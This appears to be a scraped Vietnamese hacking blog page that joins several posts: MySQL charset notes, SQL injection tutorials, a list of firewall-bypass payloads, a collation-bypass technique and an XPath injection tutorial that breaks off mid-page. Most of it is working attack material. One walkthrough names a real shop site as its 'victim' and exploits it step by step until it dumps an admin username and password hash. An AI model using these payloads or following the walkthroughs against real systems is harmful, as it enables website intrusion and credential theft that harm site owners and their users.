SET character_set_client = utf8; SET character_set_results = utf8; SET collation_connection = @@collation_database; Đối với lập trình viên, khi bạn không có quyền thao tác trên dòng lệnh của mysql, thì có thể dùng câu lệnh PHP sau: mysql_query(‘SET NAMES utf8 COLLATE utf8_general_ci’); hoặc mysql_query(‘SET CHARACTER SET utf8′); Khi tôi thử nghiệm dùng các lệnh trên để thiết lập cho các kết nối tới cơ sở dữ liệu thì lệnh SET NAMES hoạt động tốt hơn lệnh SET CHARACTER SET. Có thể là do MySQL để kiểu charset và collation mặc định cho database là <b>latin1</b>, mà chúng ta thì cần <b>utf8</b>.Như thế, sau khi chạy lệnh <b>SET NAMES</b> (thường thì chạy theo cách 2 trong PHP) thì bạn có thể yên tâm tạo các truy vấn tới CSDL. <i>Dữ liệu được ghi vào CSDL lúc này bạn có thể đọc được tiếng Việt luôn khi xem bằng PHPMyAdmin.</i>Những gì trình bày ở trên nên được áp dụng khi bạn tự viết 1 ứng dụng web mới. Đối với các ứng dụng đã có thì cần lưu ý xem nó có ảnh hưởng tới những gì đã có hay không (VD trong trường hợp dữ liệu của bạn lưu trữ không phải với collation utf8_general_ci chẳng hạn).<br /> <h2> Một vài rắc rối khác</h2> Không phải tất cả đều đúng cho mọi phiên bản của MySQL. Những điều trên được áp dụng cho MySQL version 5.0 trở lên. Từ bản 5.0, MySQL đã hỗ trợ tốt hơn cho đa ngôn ngữ. Tuy vậy, nếu bạn đã từng dùng MySQL 4.x thì vấn đề trở nên rắc rối hơn hẳn.Tôi cũng từng gặp vấn đề lỗi hiển thị tiếng Việt khi sao lưu và phục hồi bằng PHPMyAdmin giữa 1 host dùng MySQL 4.x và 1 host dùng MySQL 5.0. Lúc đó tôi phải làm thủ công, mở file CSDL đó ra, sửa tất cả các câu lệnh tạo bảng cóCHARSET=latin1 thành CHARSET=utf8.Tuy vậy, vấn đề sao lưu, phục hồi CSDL phụ thuộc vào charset và collation của nhiều thứ (ngoài những thứ trên), có thể kể ra đây gồm:<br /> <ul> <li>charset, collation của database (và các table) ở host cũ</li> <li>charset của file SQL được sao lưu</li> <li>charset, collation của database ở host mới</li> </ul> Những thứ này liên quan trực tiếp đến database nhiều hơn (những thứ ở trên liên quan đến việc thao tác qua lại giữa ứng dụng web và MySQL) . Kinh nghiệm của tôi cho thấy là để sao lưu và phục hồi được đúng thì <i>nên thiết lập mọi tham số ở host mới giống hệt như host cũ </i>. Ngoài ra thì với MySQL 4.x thì nên chuyển tất cả về latin1 (do nó chưa hỗ trợ tốt cho đa ngôn ngữ), còn với MySQL 5.x thì chuyển tất cả qua utf8 .Phần về sao lưu và phục hồi này tôi cũng chưa có nhiều kinh nghiệm lắm, nên để mở vậy, sau này khá hơn thì sẽ viết tiếp <img alt=":)" class="wp-smiley" src="http://inv.ghostteam.us/wp-includes/images/smilies/icon_smile.gif" /><br /> Tham khảo: <a href="http://dev.mysql.com/doc/refman/5.0/en/charset-connection.html" rel="nofollow" style="color: #3475b7;" target="_blank">MySQL Documentation</a><br /> </div>

Vài điểm nhỏ về charset và collation UTF-8 cho cơ sở dữ liệu MySQL

Cái này mình tìm trên mạng có thể có liên quan chút về việc Bypass Illegal và mục đích giải thích sơ về set collation Nguồn collation và ...

Read more »

Lỗ hổng SQL Injection – khai thác & định nghĩa

<strong>SQL Injection </strong>là 1 lỗ hổng khá phổ biến và quen thuộc với hầu hết những ai đam mê hacking, nhưng hầu hết chỉ biết nó là 1 lỗ hổng để khai thác nhằm mục đích cá nhân nhưng ít ai lại tìm hiểu về định nghĩa, lí thuyết và cách thức gây ra lỗi của nó.<br /> <br /> <a href="https://blog.sonicq12.com/wp-content/uploads/2014/05/concept_sqlinjection_smaller.png" rel="fancybox-post-356" title="SQL Injection"><img alt="SQL Injection" class=" wp-image-86 aligncenter" height="265" src="https://blog.sonicq12.com/wp-content/uploads/2014/05/concept_sqlinjection_smaller-300x265.png" width="329" /></a><br /> <span id="more-356"></span><br /> 1. <strong>Định Nghĩa:</strong><br /> <blockquote> SQL Injection là 1 lỗi xảy ra trong quá trình xử lí câu truy vấn SQL (SQL Query) có xuất hiện các kí tự đặc biệt, kí tự không hợp lệ hay không tồn tại trong cơ sở dữ liệu(database). Giúp cho kẻ tấn công dễ dàng khai thác ngay trên nơi chứa dữ liệu đầu vào của ứng dụng, website…</blockquote> 2. <strong>Cách thức gây ra lỗi:</strong><br /> <blockquote> Lỗi chỉ xảy ra khi ta thêm các kí tự đặc biệt như ‘,”,*,-,… mà kết quả trả về là rỗng (empty, null) hoặc trả về trang báo lỗi thì có nghĩa là trang đó đã dính lỗi sql injection trong lúc thực hiện truy vấn.</blockquote> 3. <strong>Kiểm tra và Khai thác:</strong><br /> Để kiểm tra lỗi ta thực hiện thêm ‘,”,*,- vào các giá trị đầu vào của website, chẳng hạn như tôi có<br /> http://www.demo.com/index.php?id=1<br /> thì id=1 của nó<br /> id <== dữ liệu đầu vào<br /> 1 <== giá trị của dữ liệu đầu vào<br /> ta tiến hành thêm các kí tự ‘,”,*,-,… thì nó sẽ thành<br /> <blockquote> http://www.demo.com/index.php?id=1′<br /> http://www.demo.com/index.php?id=1″<br /> http://www.demo.com/index.php?id=1*<br /> http://www.demo.com/index.php?id=-1</blockquote> Nếu kết quả nó trả về là rỗng (empty, null, hoặc trang trắng) hay trả về dòng thông báo lỗi như Error, Falcal thì cho thấy website bị dính lỗi sql injection<br /> <ul> <li><em><strong>Khai thác cơ bản – Đếm column (số cột) tồn tại trong table hiện tại mà website đang sử dụng</strong></em>:</li> </ul> Thực hiện bước này để ta đếm được số cột (column) tồn tại trong table hiện tại đang được sử dụng<br /> ta có 2 truy vấn để thực hiện việc đếm số cột:<br /> <blockquote> order by number<br /> group by number</blockquote> giả sử tôi có 1 website đang sử dụng table “sonictable” và trong table đó có 3 column(3 cột)<br /> <blockquote> cột 1 tôi lấy tên là “id”<br /> cột 2 tôi lấy tên là “content”<br /> cột 3 tôi lấy tên là “authors”</blockquote> Khi tôi muốn thực hiện đếm cột tôi sẽ thực hiện truy vấn như sau:<br /> http://www.demo.com/index.php?id=1 order by 1– -<br /> => bình thường (có tồn tại cột thứ 1)<br /> http://www.demo.com/index.php?id=1 order by 3– -<br /> =>bình thường ( có tồn tại cột 3 )<br /> nhưng khi tôi đếm sang cột thứ 4<br /> http://www.demo.com/index.php?id=1 order by 1– -<br /> => bị lỗi trả về kết quả là error hoặc rỗng hoặc falcal<br /> tức là website không tồn tại cột thứ 4<br /> <ul> <li><strong>Khai thác cơ bản – tìm cột bị lỗi và tiến hành khai thác</strong></li> </ul> để tìm được cột bị lỗi, tôi dùng query<br /> <blockquote> union select number</blockquote> sau khi tôi đã tìm được số cột, tôi tiến hành tìm cột nào được hiển thị và có lỗi bằng query “union select” và tôi tìm được 3 cột tồn tại trong table, tôi có query để hiện thị các table được sử dụng hiển thị ra màn hình như sau:<br /> http://www.demo.com/index.php?id=1 union select 1,2,3<br /> <em><strong>Lưu ý nhỏ: ** Khi union ta phải đưa giá trị về null để có thể hiện cột được sử dụng</strong></em><br /> http://www.demo.com/index.php?id=null union select 1,2,3<br /> giả sử nó hiện số 2 ra tức là column thứ 2 (column “content”) đang được sử dụng để hiển thị nội dung, ta đánh dấu các column bằng số vì nó dễ nhìn (nếu có kiến thức thì có thể dùng cách khác để đánh dấu)<br /> tới đây, ta tiến hành khai thác column thứ 2, ta khai thác version của sql mà server đang sử dụng<br /> http://www.demo.com/index.php?id=null union select 1,version(),3<br /> kết quả trả ra ngay vị trí thứ 2 sẽ là version của sql mà server đang sử dụng<br /> *<strong> Mở rộng</strong>: ta có thể dùng hàm concat để hiển thị gộp tất cả các giá trị ta muốn hiển thị như version, database name, username database<br /> http://www.demo.com/index.php?id=null union select 1,concat(version(),database(),user()),3<br /> *và 1 rắc rối nhỏ là ta sẽ được trả ra 1 kết quả của version,database name, username database bị dính chùm rất khó nhìn, ta có thể tách nó ra bằng 1 đoạn mã hex 0x7c (7c là hex của “|” sau khi đã được chuyển thành hex)<br /> http://www.demo.com/index.php?id=null union select 1,concat(version(),0x7c,database(),0x7c,user()),3<br /> và hiển thị lại không bị khó nhìn nữa.<br /> Về cơ bản thì tới đây các bạn cũng nắm rõ phần nào về lỗ hổng sql injection, định nghĩa và khai thác của nó. ngoài ra các bạn có thể tham khảo thêm các video khai thác, các hướng dẫn khai thác để tiếp tục học hỏi thêm về sql injection.<br /> <div style="text-align: right;"> <em><strong>Author</strong></em>: <em><strong><a href="https://sonicq12.com/">SonicQ12</a></strong></em></div>

Lỗ hổng SQL Injection – khai thác & định nghĩa

SQL Injection  là 1 lỗ hổng khá phổ biến và quen thuộc với hầu hết những ai đam mê hacking, nhưng hầu hết chỉ biết nó là 1 lỗ hổng để khai...

Read more »

Khai thác SQL injection dạng HTML

Victim đơn giản nhé : www.cameralevu.com/chi-tiet-san-pham/Camera-LV-Pro-1101.html<br /> Để xác định lỗi ta phải thêm dấu ‘ vào trước .html->> thành ra thế này : www.cameralevu.com/chi-tiet-san-pham/Camera-LV-Pro-1101′.html<br /><a href="http://inv.ghostteam.us/wp-content/uploads/2014/05/a.jpg" rel="fancybox-post-494" title="a"><img alt="a" class="alignnone size-medium wp-image-512 image-resized" height="168" src="http://inv.ghostteam.us/wp-content/uploads/2014/05/a-300x168.jpg" width="300" /></a><br /> Sau đó xác định số column : www.cameralevu.com/chi-tiet-san-pham/Camera-LV-Pro-1101′ order by 1– -.html ->> Bình Thường<br /><a href="http://inv.ghostteam.us/wp-content/uploads/2014/05/b.jpg" rel="fancybox-post-494" title="b"><img alt="b" class="alignnone size-medium wp-image-513 image-resized" height="168" src="http://inv.ghostteam.us/wp-content/uploads/2014/05/b-300x168.jpg" width="300" /></a><br /> www.cameralevu.com/chi-tiet-san-pham/Camera-LV-Pro-1101′ order by 5– -.html –>> Bình thường<br /> www.cameralevu.com/chi-tiet-san-pham/Camera-LV-Pro-1101′ order by 11– -.html ->> Lỗi<br /><a href="http://inv.ghostteam.us/wp-content/uploads/2014/05/c.jpg" rel="fancybox-post-494" title="c"><img alt="c" class="alignnone size-medium wp-image-514 image-resized" height="168" src="http://inv.ghostteam.us/wp-content/uploads/2014/05/c-300x168.jpg" width="300" /></a><br /> +Union Select như bình thường: www.cameralevu.com/chi-tiet-san-pham/Camera-LV-Pro-1101′ union select 1,2,3,4,5,6,7,8,9,10– -.html –>> Nó bình thường và không hiện số cột bị lỗi.<br /><a href="http://inv.ghostteam.us/wp-content/uploads/2014/05/d.jpg" rel="fancybox-post-494" title="d"><img alt="d" class="alignnone size-medium wp-image-515 image-resized" height="168" src="http://inv.ghostteam.us/wp-content/uploads/2014/05/d-300x168.jpg" width="300" /></a><br /> +Vì thế chúng ta sẽ thay 1101 = null sẽ được như thế này : www.cameralevu.com/chi-tiet-san-pham/Camera-LV-Pro-null’ union select 1,2,3,4,5,6,7,8,9,10– -.html –>> Đã hiện Ở đây mình xin đc chọn số 10 cho dễ nhìn.Còn số mấy tùy các bạn.<br /><a href="http://inv.ghostteam.us/wp-content/uploads/2014/05/e.jpg" rel="fancybox-post-494" title="e"><img alt="e" class="alignnone size-medium wp-image-516 image-resized" height="168" src="http://inv.ghostteam.us/wp-content/uploads/2014/05/e-300x168.jpg" width="300" /></a><br /> +Khai thác table : http://www.cameralevu.com/chi-tiet-san-pham/Camera-LV-Pro-null’ union select 1,2,3,4,5,6,7,8,9,group_concat(table_name) from information_schema.tables where table_schema=database()– -.html<br /><a href="http://inv.ghostteam.us/wp-content/uploads/2014/05/f.jpg" rel="fancybox-post-494" title="f"><img alt="f" class="alignnone size-medium wp-image-517 image-resized" height="168" src="http://inv.ghostteam.us/wp-content/uploads/2014/05/f-300x168.jpg" width="300" /></a><br /> -Ta sẽ được : dichvu,gallery,giaiphap,gioithieu,hotro,info,khachhang,khuyenmai,loaisp,sanpham,thuonghieu,tintuc,user,yahoo<br /> +Chú ý phần user và khai thác tiếp column : http://www.cameralevu.com/chi-tiet-san-pham/Camera-LV-Pro-null’ union select 1,2,3,4,5,6,7,8,9,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0×75736572– -.html (75736572 là mã HEX của user)<br /><a href="http://inv.ghostteam.us/wp-content/uploads/2014/05/g.jpg" rel="fancybox-post-494" title="g"><img alt="g" class="alignnone size-medium wp-image-518 image-resized" height="168" src="http://inv.ghostteam.us/wp-content/uploads/2014/05/g-300x168.jpg" width="300" /></a><br /> -Ta sẽ được : username,password<br /> Và cuối cùng get data : http://www.cameralevu.com/chi-tiet-san-pham/Camera-LV-Pro-null’ union select 1,2,3,4,5,6,7,8,9,group_concat(username,0x7c,password,0x7c) from user– -.html<br /><a href="http://inv.ghostteam.us/wp-content/uploads/2014/05/h.jpg" rel="fancybox-post-494" title="h"><img alt="h" class="alignnone size-medium wp-image-519 image-resized" height="168" src="http://inv.ghostteam.us/wp-content/uploads/2014/05/h-300x168.jpg" width="300" /></a><br /> -Ta được : quantri|dbd0483abac074a299f515ae7451b59a|<br /> End.<br /> <br /> Nguồn Ghostteam

Khai thác SQL injection dạng HTML

Victim đơn giản nhé : www.cameralevu.com/chi-tiet-san-pham/Camera-LV-Pro-1101.html Để xác định lỗi ta phải thêm dấu ‘ vào trước .html->&...

Read more »

Tổng hợp FireWall Bypass

id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT 1,2,3—<br /> id=1+%23sexsexsex%0aUnIOn%23sexsexsex%0aSeLecT+1,2 ,3—<br /> id=1+UnIOn%0d%0aSeleCt%0d%0a1,2,3—<br /> Id=1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C1,2,3—<br /> /*!fuckU%0d%0aunion*/+/*!fuckU%0d%0aSelEct*/ 1,2,3–<br /> Id=1/*!fuckU%0d%0aunion*/+/*!fuckU%0d%0aSelEct*/ 1,2,3—<br /> /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/<br /> /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/<br /> %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/<br /> +%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+<br /> +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C<br /> /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/<br /> +%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+<br /> /*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/<br /> /union\sselect/g<br /> /union\s+select/i<br /> /*!UnIoN*/SeLeCT<br /> +UnIoN/*&a=*/SeLeCT/*&a=*/<br /> +uni>on+sel>ect+<br /> +(UnIoN)+(SelECT)+<br /> +(UnI)(oN)+(SeL)(EcT)<br /> +’UnI”On’+’SeL”ECT’<br /> +uni on+sel ect+<br /> +/*!UnIoN*/+/*!SeLeCt*/+<br /> /*!u%6eion*/ /*!se%6cect*/<br /> uni%20union%20/*!select*/%20<br /> union%23aa%0Aselect<br /> /**/union/*!50000select*/<br /> /^.*union.*$/ /^.*select.*$/<br /> /*union*/union/*select*/select+<br /> /*uni X on*/union/*sel X ect*/<br /> +un/**/ion+sel/**/ect+<br /> +UnIOn%0d%0aSeleCt%0d%0a<br /> UNION/*&test=1*/SELECT/*&pwn=2*/<br /> un?<ion sel&ect<br /> +un/**/ion+se/**/lect+<br /> +UNunionION+SEselectLECT+<br /> +uni%0bon+se%0blect+<br /> %252f%252a*/union%252f%252a /select%252f%252a*/<br /> /%2A%2A/union/%2A%2A/select/%2A%2A/<br /> %2f**%2funion%2f**%2fselect%2f**%2f<br /> union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A<br /> /*!UnIoN*/SeLecT+

Tổng hợp FireWall Bypass

id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT 1,2,3— id=1+%23sexsexsex%0aUnIOn%23sexsexsex%0aSeLecT+1,2 ,3— id=1+UnIOn%0d%0...

Read more »

Tut SQLI dạng Bypass "Illegal mix of collations"

Ví dụ ta có site: <a href="http://www.xyz.com/" target="_blank">http://www.xyz.com</a><br /> <br /> <span style="color: limegreen;">Bước 1: Check lỗi</span><br /> <br /> Thêm dấu ‘ sau đường link có dạng id=<br /> <br /> <br /> <div class="codeblock phpcodeblock"> <div class="title"> Mã PHP:</div> <div class="body"> <div dir="ltr"> <code><span style="color: #0000bb;">http</span><span style="color: #007700;">:</span><span style="color: #ff8000;">//www.xyz.com/news_dett.php?id=10' </span></code></div> </div> </div> <br /> Giao diện website sẽ có thay đổi. Chứng tỏ site bị lỗi.<br /> <br /> <span style="color: limegreen;">Bước 2: Tìm số trường cột</span><br /> <br /> <div class="codeblock phpcodeblock"> <div class="title"> Mã PHP:</div> <div class="body"> <div dir="ltr"> <code><span style="color: #0000bb;">http</span><span style="color: #007700;">:</span><span style="color: #ff8000;">//www.xyz.com/news_dett.php?id=10 order by 2-- - </span></code></div> </div> </div> -> Site vẫn bình thường<br /> <br /> <div class="codeblock phpcodeblock"> <div class="title"> Mã PHP:</div> <div class="body"> <div dir="ltr"> <code><span style="color: #0000bb;">http</span><span style="color: #007700;">:</span><span style="color: #ff8000;">//www.xyz.com/news_dett.php?id=10 order by 3-- - </span></code></div> </div> </div> -> Site thay đổi <br /> (Unknown column '3' in 'order clause')<br /> <br /> Số trường cột cần tìm là 2<br /> <br /> <span style="color: limegreen;">Bước 3: Xác định vị trí trường cột bị lỗi</span><br /> <br /> <div class="codeblock phpcodeblock"> <div class="title"> Mã PHP:</div> <div class="body"> <div dir="ltr"> <code><span style="color: #0000bb;">http</span><span style="color: #007700;">:</span><span style="color: #ff8000;">//www.xyz.com/news_dett.php?id=-10 union select 1,2-- - </span></code></div> </div> </div> <br /> Giả sử ở đây xuất hiện số 2<br /> <br /> <span style="color: limegreen;">Bước 4: Xuất ra tên các tables trong database</span><br /> <br /> <div class="codeblock phpcodeblock"> <div class="title"> Mã PHP:</div> <div class="body"> <div dir="ltr"> <code><span style="color: #0000bb;">http</span><span style="color: #007700;">:</span><span style="color: #ff8000;">//www.xyz.com/news_dett.php?id=-10 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- - </span></code></div> </div> </div> <br /> Lúc này nếu thấy có thông báo lỗi <span style="color: red;">Illegal mix of collations for operation 'UNION'</span><br /> <br /> Ta sẽ tiến hành bypass chỗ table_name như sau<br /> <br /> <div class="codeblock phpcodeblock"> <div class="title"> Mã PHP:</div> <div class="body"> <div dir="ltr"> <code><span style="color: #0000bb;">http</span><span style="color: #007700;">:</span><span style="color: #ff8000;">//www.xyz.com/news_dett.php?id=-10 union select 1,convert((table_name) using latin1) from information_schema.tables where table_schema=database()-- - </span></code></div> </div> </div> <br /> Lúc này sẽ xuất hiện các table ta cần thiết.<br /> <br /> Các cách bypass như sau:<br /> <br /> <div class="codeblock"> <div class="title"> <code><br /></code> </div> <div class="body" dir="ltr"> <code>convert((table_name) using latin1)<br /> unhex(hex(table_name))<br /> aes_decrypt(aes_encrypt((table_name),1),1)<br /> cast((table_name)+as+binary)<br /> convert((table_name),binary)<br /> convert((table_name)+using+binary)<br /> unhex(hex(group_concat(table_name)))<br /> convert(group_concat(table_name) using ascii)</code></div> </div> <br /> Riêng đối với trường hợp <span style="color: limegreen;">convert(group_concat(table_name) using ascii)</span> nếu bảng mã <span style="color: limegreen;">ascii</span> không tương ứng thì ta có thể thay bằng<br /> <br /> <div class="codeblock"> <div class="title"> <code><br /></code> </div> <div class="body" dir="ltr"> <code>ujis<br /> ucs2<br /> tis620<br /> swe7<br /> sjis<br /> macroman<br /> macce<br /> latin7<br /> latin5<br /> latin2<br /> koi8u<br /> koi8r<br /> keybcs2<br /> hp8<br /> geostd8<br /> gbk<br /> gb2132<br /> armscii8<br /> ascii<br /> binary<br /> cp1250<br /> big5<br /> cp1251<br /> cp1256<br /> cp1257<br /> cp850<br /> cp852<br /> cp866<br /> cp932<br /> dec8<br /> euckr<br /> latin1<br /> utf8</code></div> </div> <br /> <div style="text-align: justify;"> <span style="color: red;">Lưu ý</span>: Nếu khi tìm version mà nó cũng báo lỗi <span style="color: red;">Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'</span></div> thì ta làm cũng tương tự như sau<br /> <br /> <div class="codeblock"> <div class="title"> <code>convert(version() using latin1)<br /> aes_decrypt(aes_encrypt(version(),1),1)<br /> unhex(hex(@@version))<br /> cast(version()+as+binary)<br /> convert(version(),binary)<br /> convert(version()+using+binary) <br /> ............</code></div> <div class="body" dir="ltr"> </div> <div class="body" dir="ltr"> <code>Nguồn CEH </code></div> </div>

Tut SQLI dạng Bypass "Illegal mix of collations"

Ví dụ ta có site: http://www.xyz.com Bước 1: Check lỗi Thêm dấu ‘ sau đường link có dạng id= Mã PHP: http : //www.xyz.com/news_d...

Read more »

XPATH Injection Tutorial

<div dir="ltr" style="text-align: left;"> <div style="text-align: left;"> XPath is a language that has been designed and developed to operate on data that is described with XML. The XPath injection allows an attacker to inject XPath elements in a query that uses this language. Some of the possible goals are to bypass authentication or access information in an unauthorized manner.<br /> <br /> We are gonna learn using simple example. Download code from <a href="http://www.4shared.com/zip/SleYPtv8/xpath.html" target="_blank">here</a> & put it in your local server directory.(Code is created by <a href="https://twitter.com/amolnaik4" target="_blank">Amol Naik </a>)<br /> <br /> Sample XML Document which we gonna use:-<br /> <br /> <Employees> <br /> <!-- Employees Database --> <br />   <Employee ID="1"> <br />     <FirstName>Johnny</FirstName> <br />     <LastName>Bravo</LastName> <br />     <UserName>jbravo</UserName> <br />     <Password>test123</Password> <br />     <Type>Admin</Type> <br />   </Employee> <br />   <Employee ID="2"> <br />     <FirstName>Mark</FirstName> <br />     <LastName>Brown</LastName> <br />     <UserName>mbrown</UserName> <br />     <Password>demopass</Password> <br />     <Type>User</Type> <br />   </Employee> <br />   <Employee ID="3"> <br />     <FirstName>William</FirstName> <br />     <LastName>Gates</LastName> <br />     <UserName>wgates</UserName> <br />     <Password>MSRocks!</Password> <br />     <Type>User</Type> <br />   </Employee> <br />   <Employee ID="4"> <br />     <FirstName>Chris</FirstName> <br />     <LastName>Dawes</LastName> <br />     <UserName>cdawes</UserName> <br />     <Password>letmein</Password> <br />     <Type>User</Type> <br />   </Employee> <br /> </Employees> <br /> </div> <h3 style="text-align: left;"> Bypass Authentication:-</h3> <div style="text-align: left;"> <br /> Browse to the login.php page; here we can see simple login form.</div> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrFjTa_u-A40s92_4IhdC7SB3XgBWIR3_SXYvq2q6xs0XgPC2GVPTusy0Lwjx0yzPNWgBc46HEV8zovAznJbq6ZVtJ1b23unrCDYMmFYF_bcHknaK2eTf-UCDF9QqEJYe98-IecGCLWe3N/s1600/login.PNG" style="margin-left: 1em; margin-right: 1em;"><img alt="Bypass Authentication" border="0" height="174" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrFjTa_u-A40s92_4IhdC7SB3XgBWIR3_SXYvq2q6xs0XgPC2GVPTusy0Lwjx0yzPNWgBc46HEV8zovAznJbq6ZVtJ1b23unrCDYMmFYF_bcHknaK2eTf-UCDF9QqEJYe98-IecGCLWe3N/s320/login.PNG" title="Bypass Authentication" width="320" /></a></div> <br /> If the application does not properly filter such input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:<br /> <br /> Username: ' or '1' = '1<br /> Password:  ' or '1' = '1<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQVrU4DwaaZ_FZuxW8OMNrlvC3kkmxbj78Nij7F38YJ1docSlxwSjleD1_YZMmTCfjLSTDrY823gyJ5m05pZzh-17aeQ3cUUWGnZrjum7PHv-H7N0Oamt7XrwL6GrqHtAApZPXRpbUJSyT/s1600/Bypass-Login.PNG" style="margin-left: 1em; margin-right: 1em;"><img alt="Bypass Authentication using XPATH injection" border="0" height="164" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQVrU4DwaaZ_FZuxW8OMNrlvC3kkmxbj78Nij7F38YJ1docSlxwSjleD1_YZMmTCfjLSTDrY823gyJ5m05pZzh-17aeQ3cUUWGnZrjum7PHv-H7N0Oamt7XrwL6GrqHtAApZPXRpbUJSyT/s320/Bypass-Login.PNG" title="Bypass Authentication using XPATH injection" width="320" /></a></div> <div style="text-align: left;"> </div> <a href="https://www.blogger.com/null" name="more"></a>Looks quite familiar, doesn't it? Using these parameters, the query becomes:<br /> <br /> string(//Employee[uname/text()='' or '1' = '1' and passwd/text()='' or '1' = '1']/account/text())<br /> <br /> As in a common SQL Injection attack, we have created a query that is always evaluated as true, which means that the application will authenticate the user even if a username or a password have not been provided.<br /> <br /> <br /> <h3 style="text-align: left;"> Blind Xpath Injection:-</h3> <div style="text-align: left;"> <br /> If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a Blind XPath Injection attack whose goal is to reconstruct the whole data structure.<br /> <br /> Browse to the search.php page. Enter any number, When you provide number it will display FirstName related to their ID.</div> <div style="text-align: left;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuT8rip9h7hmgBhcAGyq1OkioNhf2L9DdXM2DQnUReHb_OV5YUAeDA-mpuorkb-JJ24hvMCVkqfaJdxbE-GD0mMIV_2yDULd49nKpDTKzy6MIG5DwZR6PSuB3Ov6orU5dCOG7K1GgSNDcL/s1600/search-first-name.PNG" style="margin-left: 1em; margin-right: 1em;"><img alt="Blind XPATH Injection" border="0" height="111" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuT8rip9h7hmgBhcAGyq1OkioNhf2L9DdXM2DQnUReHb_OV5YUAeDA-mpuorkb-JJ24hvMCVkqfaJdxbE-GD0mMIV_2yDULd49nKpDTKzy6MIG5DwZR6PSuB3Ov6orU5dCOG7K1GgSNDcL/s320/search-first-name.PNG" title="Blind XPATH Injection" width="320" /></a></div> <div style="text-align: left;"> Enter ' or '1' = '1 in search , & you will get all FirstName regardless of any ID(Number).</div> <div style="text-align: left;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs_cYSi9wzLNlZukXDPWmK9G6zhPofuREbmauKaU-bhaFDlAs85LCXpgzIHWLj_xLbwaNBgjFwhhd9S81hdnikDX2m0Rh3iVVfJStENpumT0e7MymoEh3BnPv8-bagYnOUyPJOPKJb76KZ/s1600/Bypass.PNG" style="margin-left: 1em; margin-right: 1em;"><img alt="Blind XPATH Injection" border="0" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs_cYSi9wzLNlZukXDPWmK9G6zhPofuREbmauKaU-bhaFDlAs85LCXpgzIHWLj_xLbwaNBgjFwhhd9S81hdnikDX2m0Rh3iVVfJStENpumT0e7MymoEh3BnPv8-bagYnOUyPJOPKJb76KZ/s320/Bypass.PNG" title="Blind XPATH Injection" width="320" /></a></div> <div style="text-align: left;"> In blind Xpath injection we have to provide special crafted query to application, if query is true we will get result otherwise we will not get any result.Till now We don`t know about any parent or child node of XML document.</div> <h3 style="text-align: left;"> Guessing of parent node:-</h3> <div style="text-align: left;"> <br /> Supply following query to application & observe result.<br /> <br /> ' or substring(name(parent::*[position()=1]),1,1)='a<br /> <br /> Nothing append , we don`t get FirstName of users.<b>It means first letter of parent node is not "a"</b>. Now supply following query<br /> <br /> ' or substring(name(parent::*[position()=1]),1,1)='E</div> <div style="text-align: left;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPaJDSr0YW-BnowLDLX6QXKwIIybxwB_k1sDI_yUQrgBp3xFWSEqNPCl-NDdSgg9A6pUT9n6tyUuSx1ZUTlWxv_c2D8vnpa0nOCQWASdSkSp9_bDAjahaNIPqIQ984qRds1xjx181K5Vm1/s1600/Blind-xpath.PNG" style="margin-left: 1em; margin-right: 1em;"><img alt="Blind XPATH Injection" border="0" height="119" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPaJDSr0YW-BnowLDLX6QXKwIIybxwB_k1sDI_yUQrgBp3xFWSEqNPCl-NDdSgg9A6pUT9n6tyUuSx1ZUTlWxv_c2D8vnpa0nOCQWASdSkSp9_bDAjahaNIPqIQ984qRds1xjx181K5Vm1/s320/Blind-xpath.PNG" title="Blind XPATH Injection" width="320" /></a></div> <div style="text-align: left;"> You get result , <b>It means first letter of parent node is "E"</b></div> <div style="text-align: left;"> <br /> To guess second letter of parent node supply following query<br /> <br /> ' or substring(name(parent::*[position()=1]),2,1)='m<br /> <br /> Following the same procedure, we can extract the full name of the parent node, which was found to be '<b>Employee</b>'. </div> <div style="text-align: left;"> <br /> We can also get child node. Browse to the xpath.php page & enter following query.<br /> <br /> //Employee[position()=3]/child::node()[position()=4]/text()</div> <div style="text-align: left;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5kYJY3qNhvnu0TgMxmk3gJUlyzWhLT1XzcaGfrTeuXbuefpzfCJ2143w8_sRjli7a5hI8z_ZD87zrZMUUc0RxhyK4_DkSPqDNtcm3919ZDNU_pJuLMY_FSJIRP8zebPg-YlshRh3RImQj/s1600/Retriev+DATA.PNG" style="margin-left: 1em; margin-right: 1em;"><img alt="get-child-node" border="0" height="112" 